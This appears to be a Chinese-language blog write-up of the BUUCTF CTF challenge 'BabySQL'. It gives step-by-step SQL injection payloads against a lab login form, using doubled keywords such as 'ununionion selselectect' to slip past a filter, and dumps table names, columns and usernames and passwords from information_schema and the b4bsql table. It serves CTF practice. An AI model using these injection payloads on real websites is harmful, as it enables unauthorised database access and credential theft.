BUUCTF-Web-[极客大挑战 2019]BabySQL
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助
打开靶机,看到熟悉的登录入口,老样子,看看是什么注入类型(在用户名位置写payload,密码随便写数字)
1 | 1' |
报错:你有一个错误在你的SQL语法;检查与您的MariaDB服务器版本对应的手册,以便在第1行’1”附近使用正确的语法
爆破字段数
1 | 1' order by 3# |
发现报错回显der 3#
,与输入的payload相比缺少or
,by
字符
推测or
,by
被过滤了,试一下双写绕过(例如bbyy
中by
字符被过滤后就会变成by
字符)
1 | 1' oorrder bbyy 3# |
正常回显
1 | 1' oorrder bbyy 4# |
确定字段数(列数)为3
1 | 1' union select 1,2,3# |
分析回显发现union
和select
也被过滤了
1 | 1' ununionion selselectect 1,2,3# |
爆数据库名和版本名
1 | 1' ununionion selselectect 1,database(),version()# |
爆表名
这里发现from
,or
,where
也被过滤
1 | 1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'# |
爆列名
1 | 1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'# |
爆flag
1 | 1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql# |
往页面右边找,获得flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 半枫!